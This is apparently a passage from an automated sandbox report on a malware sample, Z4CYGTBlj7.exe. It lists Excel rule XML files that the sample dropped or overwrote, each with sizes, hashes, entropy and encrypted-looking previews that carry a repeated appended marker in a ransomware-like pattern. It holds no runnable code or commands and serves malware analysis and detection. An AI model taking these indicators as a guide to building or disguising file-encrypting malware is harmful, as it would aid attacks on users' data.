Preview:	<?xmld..F.jX..xF.s.\F...6...6.9b.B.K..a.\|.7..;......z..2....G..f.c.[......+..#t).'...=...As.92...2rj\...!...T....B.6.b....Ya5.......F.....~k...1......xO.j..j.s.._....[.".....PA..M...H..9.[:..<F......BZd...`-.W....f9...=..G.......D...B.~..t`.....A\|...^..>'&xj..(.sX)a.E.t.'w.,.e..S.}A}w)..77v(...g.iO.1H...Vx....`0..6...0..%..6,.L....0.. `....#.......W.-7....gT.<..)#fU]J.._..a.)..w..i.9@(....D.l2.h..eFPt8......+&..8..J3..T....j./..w....-.4[...r..tO....!....Q..[U..k6._.Y..c..=B..\|hi...lo...,.`H..k.._.O.n./o.=.D.OCM.l=.f...q..'v..7...Ozh...W&~....0....5.....V..V=D..:...2"!.G...c=.....krko.{^v...?...y2.)1....%X. ....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.706606661285086
Encrypted:	false
SSDEEP:	24:hE0hmooeibOxcdE2phBpoisPD9n9N1ufsbD:hVncy2p3edr1ufmD
MD5:	1B3D168E1F358FAB54C982B3887CF83C
SHA1:	01024AA5E9B7A119635E279765073FE049750D1A
SHA-256:	7396A6D7EB257044B4B5B689807367E247AE77C0020503E612CDF32FD991034D
SHA-512:	3C9F75DF4C3D4993F5BB1A6633E9D9FEBDEBA28572E7943E471B654E9A7E6511ACCC04281E5FF5C9E15084C372875AF67DA31B7233CE5121DF7D61AFF2B17BC5
Malicious:	false
Preview:	<?xml^B.b.b.2.A\...V..OL..X.s.+......Swr.0..Gyn..4.C.....MV......dV`A..9..?:.Ui.;(dj!c.w.q...I...i.K.D...;P.}7.l..'.H.(........Z.$S^T..R\...\|.....?..]...$..+.9U...0;.0.u4.T.`p.\|.]....f.`7.9;DQL.UL...rFN.K..F/.xP^.R..)n..u.ess.....K.X\|.?....eU.#]..7._....&<...(....O..x.....v.\|{a..l...s7oxA~r82$Z............L....?$.....5Xue.O.P3..pgN..b.<..D.f.w.7h6.k.d...l....{I"..{...e=.,h..k%3d...X.@..... ........,.....Y...~R.......5....rpiO...5....V...`..... ^'..^.2..]F.<.A......\G.b1..H.......^..C.8>...w.n}..Q.....v{..O. .m....)....rxd....K..........k.....~Eln....v..Eu....:..'._.F.xw.J...J..UC...k.<........x.E..4..W......5..g.8...p...b#./.Cv..j.Mbx...?......L;.r...\B%..9i..T ../U@%.,&.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.536025069627466
Encrypted:	false
SSDEEP:	12:yTDxhaA7U6Nuo9nh/LavIrEK1qDWBWyQscii9a:gPP/co9n1akh1FCsbD
MD5:	BDCF8452E28558378ADF3AEA4A5ABC91
SHA1:	1097C3E1AD0D27F2933DF6B1A1DE4FCBAAE0FE62
SHA-256:	046F496D9852DA9B4BAFC893FCA5A8098A199CB7DEAC624FBBB8AB8958D06A56
SHA-512:	DD6E95F09060CDB0DADA8039F77852E28FA53232D04362266C642436D74672196AF5ED9EFB24490139F93F1F5A99442C4CADEF9EDAF8EF4CCDC0B0F4F1795C9A
Malicious:	false
Preview:	<?xml....(."...$."Pv!A.d(.<'D.....".Z.u.xN(..N.._......Lr.X..R....'.h.w.....e..,2.Z......*.J{XL..RnC....l<....../p.d.....5...1"T. ..b1{9.'..$x3r,..?....l.%.6Y5.F.......i.!.M^.i)h.I..S~a.........qz,(..N.......v....D..=.t}+5..~..k...!...\u.Fm6.l...\f..w.sV./f}.....}O..H..h... .bI.r'.1.......$4.^..I. ..&.h.B..7I&..S....\g.$...r..E...0....;...P..Kl.+f....T1.....$Ba.i._=.y.l!...eW.0.p<D=..".i3.uf$.~...Y.8.p<.!....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.917313167745824
Encrypted:	false
SSDEEP:	48:lrq2RyVDuxhcZiPOcIfV6juLqNBCWCvVDNs5K9yTRy+y/yJfKgMCmD:LRyFmhcZrdFLKBXCvFCHTc/aJfKY+
MD5:	CAFB6FDE1A404BCC0F87F57FEEC1F08C
SHA1:	18013DCA41782E5CFC8C92171F3E9B5F97D6715D
SHA-256:	48A7375835721959A9274B00A49BA4167BE76DC9460862031DF0E9D14CCCBA1F
SHA-512:	377D05F082DC21CD88241AC763EC8F8AFE6F46C93785D84DFD44D413375CA391FC6DF1B601B35A620C4BC1B0181B25198CAF773030E0B66BE40D7B17DD13F97C
Malicious:	false
Preview:	<?xml............_.....Wr.i.ej.9.....i....x0.jp._..\|.O+.c-.,.X.}pqQ.6G\|]./.a.(..5. .\4f..?...HW..Uij.H.]4...%..>(.l.w.dk.\|...C......\|[f-.=....h.....8...z.. O..q..&@..m.....@.2...g....^.(X,U.I...$.Q4.f....Y.[kU.Q...y.-.........._..:z.o....'.&.\._.../v..h.s1^.KX..p....g........[....'......s......'..}g.5. ...#...........p....v. -mx..QR...dL.....R.....J..+.7..u.\.9~...2.W0aj.+....O.t..B..d..y.S.......xV<\...F."T(.)"../<....Z..)x.n.2>...n...........b.........3.35:.k.R..W.=.T]Te. .._.g..... D.A..~...a.e9....wc.}..K.H..>...V.5-..q.... .......v)Sss.J..")m.S.7....y..,.M.>........M:....:.b....e........w=.5.R.a..P.........=r.H\.........Y.0}.......L...... ^#W......2...5...-...1...Ip+R..}.4..^50.x...9#.l... .H.D`{....:..-..M.....TN..h..>LI.yl.l./.....)l..&(B.QW...[.. .....=.l..B...%;....1..I....w.Z....O{..7k.m.'=..g.C-.4.i1..d..z..G..i-.b.">MQd....g......e.. "p...=#z..w..UFFT..=..1..Pz!U....3=.2/..w....g.....e.'..e.,.D.}.v.....7.<:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.841545070368341
Encrypted:	false
SSDEEP:	24:z3GMzjHmxmC8N1HZT881f1AVctaOddSeOwVHrT/NguSrPT1sbD:DfmxmC8fHJ88f17tNDtrT1wT1mD
MD5:	C3182A1E370872D5CCAFBC67275BFAB8
SHA1:	BE23D443E42696724E4B20A9D2ABD56A5A25ED72
SHA-256:	75691AFDBC80AF50F0EAC9D280EC0954714EE06C9345D2DE9C75D3CCA35CF2C7
SHA-512:	3B733FF003E27ED3AEF1EC328BFE8F4B30CFA877D79A71FAE3680487D019E7579EC95CDE4995150B70B962CD24F55A51B4E5A7D50D88BBD41BC08896A5C0E648
Malicious:	false
Preview:	<?xml..e..)..@-.3.?....\.fK.......T....48......0...f...33.{Q....#...4+p..:#..'X..}C...O,...DOo..F..8Dcd.c............~...G.... .........1..7.......o.1y.R....E7Z......Y.`s..(-..;..Bn...............cc.}.f...Y...W...'."n(..t=/.tk...>...rfC..+..2.SL...A...#.F...X.T5..i....=.2..(k..F.y..D.....l..i...<....W..,%.US...of.u.?v0.Qo..$.(..,...'#(..%!t..h+.)_.5...0R.q.`Z....O. .u_h.>.....pZ.....H~.-.Q.....P..,..i.."I..#......ob. h.F].H.R..[\|W.Tz./..0f.c..z.f..+Y.d..c..3....ou3.U.&.....n.GN....A.K..82...?..;7..s%.PY.._....Y~4.".Lj....q.B.k.y.......N...R.....C.9v.>.. +......9Q.~...*...O.ap.6.W.J8..\r.....U..P.7.IxqvK..M(..{i.......@... ..c...\..G@.......D..6...ke.P..$4q.c!.,....<.%K.C......-E...d........T.s.''.k......+.........G~;BG...m.72.Z..5.GX.. c...\|.....}...........G{.%.\Z.h.qg.+m..G.;.. !..b.....HrCOf...{}."'I..F.d.:.........s.......@.8..!.d'.$..0.q............L..~..CMe..,bR>N....U.P\|......i+.....X_.f...4E....=8[.....-[g.Q..Pswi3......0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.753570263848961
Encrypted:	false
SSDEEP:	24:M1D0pNrVu2O9hmyjl6WRG1RRkCsOi7vTkhfsbD:MKmuyjRGRpsO3FmD
MD5:	7DCC5BA9BCF2F5423B6FAA40705F64C1
SHA1:	A0628EDF70EFEC7DF2F5951CEC3837F05F763086
SHA-256:	9CC1ED363207F276007BFE97EB6B13CDF28A38A6A01E30A00CE4FB29B48D5D7B
SHA-512:	C4D2901C9B24CE2A2395852EC66FE1AC4F4544A59594D10A2BCF8CCB373DC3E62518F6F5AA4F14132778C2A9A737E8C10232ABE557B1C8F4BF053E4EB911E4D1
Malicious:	false
Preview:	<?xml...}.j~\........S.V..$..&7..7.\|U.Z..t7.%J..P..X.....X.!.J)..=......[.Q,0....y.T.j!..k...Q....w.R. .....d..r.Vo......H.p.f..L....n..........,.&....Cv..^:y.?..%.1.2.#..\s<..'A.%.?.Fl.......jv..3SN.......\..j..a..xp2.~......;.uee.VB.\._`,UAF.S.g.. .V......^....2.1Q.....eJy.A/.........L..A.s..p...N....s..~jNm..>..x.mO".r.,r...9..T...b...>.%..+.....9{....I...WGg..r.....xS.,..B......?...3....7....!......w.CUu0...._.....=....`.b..OSO.F.z..:...r+...1....$8......3.P..I^q....N.X.o)O...6.h...CmQ.\|M..p.M7....fl=D........xYg.k.yo4..u.....>m.wT..[bq....]I..,..Q.V[...n..... .....<E..g..WW?.^..q(.7....I.k....VCy.1_C....\|...D.HQ..3....H!..R~.7....!;....1..6uz....{.t4..$.W....4.u].B3....".......:.%..3.J!.c...v.\o%8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.6071370738687465
Encrypted:	false
SSDEEP:	12:WsoR22fMr7hvMnzKZRJKvPo9p2EE8NoWYQdADXfile5J802Qscii9a:WsoRlfq7xM+ZfKY9RCWYQwfiMJ8GsbD
MD5:	40C499A03B17068161C996C4CE3A9560
SHA1:	4FB70F73D421217BF0B5918B98BAA3BEAA9829AF
SHA-256:	9132E9D0082EADF521617F6A900D595C3F43F6F4544EB59F963DC1B939E75526
SHA-512:	3C65DACB78D2CDDDF28FAD7ED7096ED1C4B2DD85F7C181C73F6AE25DAB71CA8442F10F323FF2FCF6FAB1DE6F726FDBD2710E57D3ED6E3BECD998C945645C86B5
Malicious:	false
Preview:	<?xml..U~.$.E...D..o6.oE\|..yc'.'5...S._...`W.....1.<....cZ..0..N..h.s.....S...l.)..q..jky...A.0.J....0.P.wvT...!...D\|.&......5.fM..Y.L..jN.K...\t\.l..e.\|O...R..\|...R..D.o........Y.\.A4...+....W....Y..9..U..(.<.Z).._...k-.6....K.,@^K.S..Y.14.ra..Al.U...v..6...xPS*........,....l.v..;-.Y.A.).W.,wqN!.B...I.ia.....-.q..=.j..v.$2..j.;.A..f:.Gr...._E!R....^..;...D..Ufb.}..".... ....[y......I.VV.A.C..4...u....4r..\V...?...._dH...\Fo.....`4...H..=.=..G.K..6[.=.u8.0.U!...[.x...;.s"!..t..T..6(.>2cD.3ZG...Jg......F,..A.. .>Xh-..0.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.744499962941623
Encrypted:	false
SSDEEP:	24:+TdGGtc+c6dPfhpdEHp3ZcTttA/4vt1TaRsbD:Mnc6deJ3ZUT7TCmD
MD5:	2F71C08F58DD7582F627349EC3287C87
SHA1:	54545E6C926B087055A1D2F9D25AF61E3BF69495
SHA-256:	84F9A7C0CB2AA42233D811B904D23A60DB8FBC4387CC02D53D1E5BF29421FBA3
SHA-512:	B49FC58E34E06BF288C59915C71D217BA024DEA97D259202AFA7B3590CF763C92FF4DE8B770ACB3FD7939FF19F92D9C31D12428ED4947940DC4E1F25BC363828
Malicious:	false
Preview:	<?xml.>2o......N.yj<N...V."....W........lWj.qp..[...U...k,..3<c9.M...l...&.0.........>...+K.["T.T.OYa#.&..A.^....M.pp....~..1.v55..X...KX.....N.S.!..C.l`..V.$a%V..\6....V..O.I..V....>.....v\|........H.D.G.(....:[.....c{.vDs.."&.(;FC.......&......wZ..../.j...x..d..8..S......t..,..w..k.".....M.....w.1E..Q._.W.P.....j<.!~!&.........h.(.........0...F.I..\|.l..:....Vedbl.r.Q..g..a...jP.9....../.g;'..3.t....`v9Km.P..=Z$-...2.n...13.DNy...Fu...=".Hf.....5.....B.;....0.xV(....y...zVo..#.h.'.oa/64...}..>$0..2..!......(.x.../......z........1>d.....E.=....q....C;..81...\}-......[...X...1...9BJn.q.R...=)n1...s.%...;)..........m...F.b}.._..9......m..)p.s.f.J....T.B...aE...}....)_...l............?.p4.'t3.P....+...JK......11c(. x..n...[U.V..`0r8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.970552930771742
Encrypted:	false
SSDEEP:	192:bPW9poUx4Zk7j9fBJeBj58w2Yo3DTFz/9c4r+/1+:K9pMenNjeNaw2vzca+c
MD5:	6A08A8D5461E4F7B06B11B126085998A
SHA1:	1BB8A89B6433A1CDF423E5BDC4A2DB8735F121DD
SHA-256:	2BEF40CB398D4A225EB6DC8380B2663670438E5D264AE098754ED4FCAD1F701D
SHA-512:	88A37CDD8C3F8B4FF1B57C597A9161E776FC0E03E14E84CEB4382B2B685468D33D7C7DE18D40D803976AAA0D5064600C301C1B86ACB44441F8637A78427D4110
Malicious:	false
Preview:	<?xml...#X.-...a:_"Y..1.o...0..J.D...gA..JiPNO.T0...WQbns....J_..M.ncz....!T7...c....Q.Ca...Q...3V.#..7._.........4.k......O.\|.].....F...i..+8..{....J.1@W..~.{B".F.....,...&....V.w.\|....g8..o@r..f.2........n.!.0..]C.4L.7.V.(s7)..3..\.v....-...0toT..nn.w.fG.}....$5.8......U.......`...Q4.\|.....tV...hY.` vU...~....M..JL(.c.\|..c(G.P.R1...</WB$>...c..1.`.l.&.qcd".W>..j.b5#C..;.!.K.....c.w.9E....g.?S.p%...r.&...;f.C%V.I...6.....4..<.n?.zaH=....(J.VP..../..&?.(r..\|A..y.f..Ha.d..U..7..h.......q.n..=xB9l9...i....+ey.p..<U....\]\|...5a.`...,..O8w.l.8.$.4]e..'G......Z.'e@.H'...V..CL`)....r.Q..%..@..<..lP%DY`.6.Dm.......v.........$......_....DI..WV.l.x.a..?j.h..K....,.M....X......oYa.k_...r...]-...L..........H.[..O`.9..A^.....C..e.Ob_.u0..p."...vi..:.hT@f.~.......VQa..v...O..S'...+..J...b....o..nEp>.....B)..].F..=..,.h.7..-.w............X.]J)..T...;<.\|..o.....f[....P..7%Z..~L.a..}h~.hm{......~......y%%.&0):..X}.S.-rF.....lQ..b....X....z.B......a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.783088148745171
Encrypted:	false
SSDEEP:	24:5ZfgjVxI4SfUyZMG+2HfgH4e5otAgF2cHr2kRkPcBheVCsbD:TirI3fZNWKF2Q2ceVCmD
MD5:	771C651AA6ADBC5FB0AAD076821B474C
SHA1:	19B3A163879D9D1BE9F4B295C20CBD1A19AC28EE
SHA-256:	9F831DADC6F6CBCAFE52549CA5DF409F3A21DF30978C3728703A6C9E160A4B80
SHA-512:	A9DB73DEE1C6DE549301C92CCB9BD5F6AAB6ACB8479A548D42C76011690A621D475570E03EA3D9648AADD99A2C9817DC3B779FF74022F8CF133749CB4A9D4C8D
Malicious:	false
Preview:	<?xml'.)(.k....e.).m.l..2.]....P. ..pO......z.r.}....1....z.V1Cl........}H.bh.H...9.\|..78...} ......'.g.........<.G....`mg.yi.Td.:>.\|B.EB.A.L...9..... L^]......(;3.I..d\|.[v..zJe5.....E...c...L.HL.(.....[m..z..F!..l=..V<.... ...l.zOD..:7A.N..+.&{g...E"....5QI.....!=.8.G...I..i...5...^.x'./..:&..5.z.$2y..`~..5<..h.{.5.n_..'...{.T.g.....z.......!.P.:n.{O.f.z..>..H..m...0..j.D.....).....'=.E+....Z.DV#..]`.vh.<...g.....=...Fu...]..p....A...j..C..V..X...R.@./.R......G^.KQ.;..^.....)...7H....;5...E....^\.....!....4.0.yR...P.{N...=j.)W....1..u^.r.J.xPd..I.a.Bo".zq<Wu...A..D.h0.).......].NU....I.X.g...n.K.9..y..mp...j^Q..P8..I.r9.h...s.5...O.._.......v.t...IA...R.v..O.......FF...j..7E..Z.!.V.......x%S...\|......?.qj...9j4l@........&.\..}......y.\|+1.M..F..ju..)u...e..zvq2b=.%:. .H. o...e..ap.M.6.s!.j...$.A.[.......H.3.i..Q.ch.....mi@.]0.+~........c..eF........m\|.E..Y.a}P}.?...#\|g..cn....KM6...-8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.812872027326838
Encrypted:	false
SSDEEP:	24:0gZzjnAm5GwwiQN4215h8GLeGb/z9EY3vsbD:HzjAm51GNdjfz99mD
MD5:	35C738A1CEEC1D194518B29E0CD227D8
SHA1:	E4B2B4B1A7C927AEC193AC5650F3C88988B7757E
SHA-256:	8AF494577447834E4F4728A1DA3CDE7DEAE3C5FCCEBEC35922E738D1011CEF75
SHA-512:	4671F26E6558A0DA5AC8D5AAF7DEDF11E53CEB8D7A750723E246AA126732A7E62422476C543F13A01D5CE6A1598849003DFE6D099DCB06C14F5329BEFBB5CE18
Malicious:	false
Preview:	<?xml..Z.....5P..C2..u..r.tQj..Wu.."...#5..Ug.p.T.v..1......a...m.7.}.,.%l...@.P 3\|...P\|.6.O.1...../77.7.r.p.@.CC.9...O...O.feI..zdy.2...dO.[..`.%{F.W..".U-RtKS...Vv.4?........$1..$..$u.....zq'.....He......g......i.^..=...$.\......F5.{2.Cyb.\...v..r.S......<U..x..\|..&..4..c:..pB:.....G...1n.....A.......n..s..B@.o/.^n.!....5..B...Q...U....&.......j..<.Z....#R6...AC\|..T.....f;.....n0.pr..%-L..b...i......".a......\...^...V.%.Wk.M;...........$.Z..Bl.-.S....5..J.r(vA...[.\|...8...;J..7..i;...rF.'.....M....).%W }..7..hD....4a...O....>.%..HFw...~Q/.x.(...N7!r!L..i.%u2...6. ..I.K?L.Z.Y .-w...&....eK.\..e.De..LA1..#F.....I.!..F.~g4dBc.[V..w=.X[.6....u.b....kDS.....h}..dF...k..,;^.....!.%.3_.$.,se.I.WFj.W...........\|().0v..2z......n!.?UJ..].{.P..I_..n..3.KI7.....H..Bm...RG.F..v+Z}...i-..5..p.f...Dw.i.g\|%..._.u...l@...>.{.y.......)..w."1...{..z.p.aPE^.?..n?/...@q..]...5...mC6.sI......*b.KQ..a...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCv

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.868844276057379
Encrypted:	false
SSDEEP:	24:bB54Ggyug+JQ/KN0InsjttgysILtEoEFyaZKdYQ0D4/cFgqHW8jln38RkQ6j+qNH:v4G/+J/6r/YFy8KdYxD4+gq28JMpRmD
MD5:	7030633ACC6B86D257F5BD1D6CF38CED
SHA1:	0430B7265F895C51B58215F3A12ECB2CFB70224A
SHA-256:	985E63A31F0CD52E999BEBD17F5E9612E0E8BBD6B05C6FA9B556869BE7F08FA1
SHA-512:	2282BA2950DE3FCE5287A734F6B0B140D3E7CDAD8C0C2B34B81E699ADF72009041EE3152AC53A4B69D42AE9104E2D204D88DB4877F8A61567A67C7D0A9CBA6CE
Malicious:	false
Preview:	<?xml.Q.3.$..!t...-...$._......K....\|..H..M..i. ..R.......uk.....6c.m..34._.[..&........$....;...6B...k.QoX.D$.......Q...Nj...~.S...b.........@.91..t.3._&....AKK.JI[z&.]........~..~.........Z.f.........Y...O<.=X.5A. ..._.../o\|.....Y#?H....#.\|M...L.IJ.....D.;N.c.A...}`$.9..R..}kEMI)B9..-YN^-n:'o....j.".e....7rB+_..}....OvvJ..'..N..E.=..:.E......C..\|...F&>.j&..NE.te..`....jH..<^..bj}.:.Par;i......9..Y!.G.1....u.n.f.A.z..}s..w1/W...#".>[}.h.Cr..>.M'....Ss.].X.H..N. I.X[....U.../.o..~.]....u...O.h...3H...htm.!h"..yZF...9.......3....l..}t ...OX.Ki.T...b.r.%%.HU..}..p._..E.k....j%.Ba...G."UG...0.^]..W.%..S~.5.....@].Z. ....h...,..........vV.CT.5.Pw..j..P.P.kL.....4...4..n.X..hrk..u`4...?4.....).....d..H7.v6k.\.....YB.tNP......:D...g.`v.......B...N..2..,..N.U..=.X...D+#...E.......c...u49w...:...+....-.&.....t...1H%..R._..2A...)....6.......#..G...H.Rz..A.Np...Ck^u.O...>...F+.a.z...S.<..Xg%]s'.. .."..y'^.6..&.._.........U..m...;...#2......S..(Id.m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.815687092453563
Encrypted:	false
SSDEEP:	24:775dS0Xevd9uyVleVKkqt38mqUjIGkCzjeo5NEWlQsbD:P5dRXi6y3ekhtMFUjbkgNZCmD
MD5:	C0FBD080B45E025B0077F09FB9E22D53
SHA1:	7C7D000522955C0B8D519812D22EAF408F3D78BB
SHA-256:	418584DE7834CC72783B45FB11BBE5D2E1469638BC4F29BEEDF5077C7FE89B8D
SHA-512:	308CDBB059785C0C854E8620A28B406C01D0CB6959D478ACC340208A6709E2D7908AC54555C4DF3F3A162F9FE335B1A382DAFFBE39F596C5F9F6A04D8AB10044
Malicious:	false
Preview:	<?xml.........a8=.xe..N.`.......TW..6.Yro.....0}R..K..h....}.L[...U)..A\.V5.......Y.x.!.f..+.J.p..<b.N...h{.[...~.t....P}..`.6...,.....<5I.(.8ba..lr..lw.'P..l7....O;..9..O..g.h$..V.R...S..O.....1..>.S8=..[..{.8.A.....-i..{.n..{.av..A...a.u....:..Ns0.%..=6.f...../....a.....b...Bw..X.S'.&.........c....`....\...E....s.P..Z...?W.\.[V....{....o0L....-~..ul...+&.X...[FZ.......C..PnR...L.j.......{Lk.gW>-qo..iOt..@P....0J.,fz....a.3S(o....".Z.;d...`M=R...w.E...n)..Y..\....S...S._u9...$..........J.3.';.$.\|$Z..Q_.FL.....=:FU.@..F#3.....9..P...N.....o...w./.F...mp....uz.\.A...w............$.V2.{;.n].i:.a...>...9u.m8.9..\.v..F..-..S.....A=.G.g...l.C`...h..R=..p!!.@.gx..\...\G'.'.p.p.W.f..:.x.Y..k%58.IRR4..o...'J......1a^[.f.{f..Od....6.).{T.s..2....2.=..f....Z.....g..T.U.H.`.<...Z................;......L\|.a......B~.......q....~.l......F.....`.L..S^...tC.;....._..9T...'.j........{..tV..Y..e..C.N.6.T. ...<b..Z........yj%..c....yQ.(.J<...`.8Dvoq

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.820642605836744
Encrypted:	false
SSDEEP:	24:JMEROntkZL6T1OCSErcoDA9AvLocOZmKpOMq0KQzJg7PvnuX3sbD:JMEROtkZywErc99AvLnOO9NQO7PvO3mD
MD5:	D307E1BD8DD8853FC69B354A38E8AC0F
SHA1:	AB364600964D1DF32BBFBC3070780FC207703163
SHA-256:	FC527DBF0A11DC04553894855C4EA3709FECD21B47C6A01BFE811CD5F9554633
SHA-512:	BCC0C6456332F6198623A9A985E7BEEC1D97BF516B0CE8029554A6495E493E06D31DE9D2804907516605043F242BBFCD0612C0FD1082838DC293871758C5646B
Malicious:	false
Preview:	<?xml..V..k.....`....].El..3.Q..l..A$e..;(.VQd.#..<M.n..kx..ts...r..Y.}...v.3.]N...~.M7.=R....X.u..4z.0...N..#....d'>..B.$.....w...f.d.B.q.D.9.....w.....>J.x.3....>....i.Rh.a.v....\...F............".0s.I.rCv%]..FhE...^U.h.W..J....8P..&....};...'...xg.S..V3....<.......... +Q.3.[.a...].JT..M..'.f._...$..y'.6.'...c.5..+a.B..]M..=.+..S@.}...q..z.-..xh'..2!F..~F...b...S.8.C.X-\|jX%jkZ.....~.X....y.y4.j....y)...H......,.B. ..}....J.d.G.o..cI.u.SW..LyB. _.6.EG..G..\|#T......r.j.^.N...rq/....Yzv\..p.%.m..U..O.0@..]t..3JW.W.mt.....l....N..,.%?.5..c0...{.u..v\.d.w....W%v.%.......V.6o.>.^..3....fz......r.0.p.....7/.'...q...~p.h.J............n.....k.......+.Q..l....j...$..&.%`.v....Gr.x.::m)....f&..}t~Q...\|Fh...0h..3._?P..Ip.......k.wh.p~.M....}v.....%u.=.a.s....b.pQ5.%.\.W=.-6n.....UE;.-0sOC.....B$...u....@.1...Fh,=.._0nZ.A.W.N}..B...]..qMe.>^.......\.+..;"/........"z.\v....:..?.`..=.........7......B.<...8...r.F.4b,z.B.[.q.s.0 f.x)Q.,...D...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.894011619850562
Encrypted:	false
SSDEEP:	48:CwqdgPLLTviujzok/rcJRt7WSONUNFcSAUmD:CgDL2uvRcJz7WSBd+
MD5:	59DD4EC0879E68A0ECF83343688FC1FD
SHA1:	9D519572F8D69017CB6C9330035D0DBA9426763B
SHA-256:	F239138FEBDD06055C3D8B320041D96356292A76FF62CFDD9237698F9963975D
SHA-512:	7E33FF23452FACAB1438000B4D44E35E5F8A10D5A15356D0A9528439BEB8EABBA82614051D6466E98E37979CB5855046DA0B1AAB28E73556467CDFAB97E96108
Malicious:	false
Preview:	<?xml..z...i.a\9A=...l.e..R}z.Q.y...Q.A..5.()...Q..d.8....:He+H.u.3..lH...\.2Y.Y...s......B#..l....^y0];:L.>...,$3S.:.Y..U_.K.1....V...Fx._+.......W'.5..i.T...:..T....i.K.e..jH......xa...b..g...@..Z..+.m....b.7.`.....2.w..TR.p.j<..~.I....w..$...iVR54V...W.8.....8A.....`.T.o..W...n.j..R%..}HxI..tK."e.A.J.....r3..d.P.?G.....phS.)..$.O...2.{....Z..Ig.1.p..M.$H.&..m.u>..LQ..P.09......Q7.......)a...V...-...<.5d..Ck.8.....E6z.x.A..&Se....9Fy.R..F..$-U.........n.b.f...!.t]r.$Cm..%.......RF..L..+...D.)DO .-.l..Q...u;Zl...J......].M(7..$....y}.~..@.R.2H...G..NR..n.....V..H..(.......F6)[... .[4..N....OVuu[..7.h.j...H.y'....v.H.Y....X.8..<=..2Yo.U0......z......a..-R..... .LE... d...hL..P.Ed..g .2c....chM&L.r!....\....H...x.>R.4....%."y(.."...?X.I........zN7u.C..@7........B=...~_r.h..Y..d..U..... .P[g...:.6....mC.y..re.:.-.P..:..(^..<.......R...O..=..KGY.M:,.tH...........y.......z...\|..O.f}/R...a......#v......E......r.....'.j.nK.9.....K.r(.9b.L..J....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.625130882139283
Encrypted:	false
SSDEEP:	12:taJEzTv5RHj9OuJoL5kmB7QgIpdyObT1ljjataC8T+hgVFRKEuVDQqy3ZUQsciik:UKXHjZJodkmGaObT1lf4o+WLuSqyJJsX
MD5:	7FAB223492F59966120853E092CD62F5
SHA1:	E0E47167CC632AF566B7F08746E485700DB42DF0
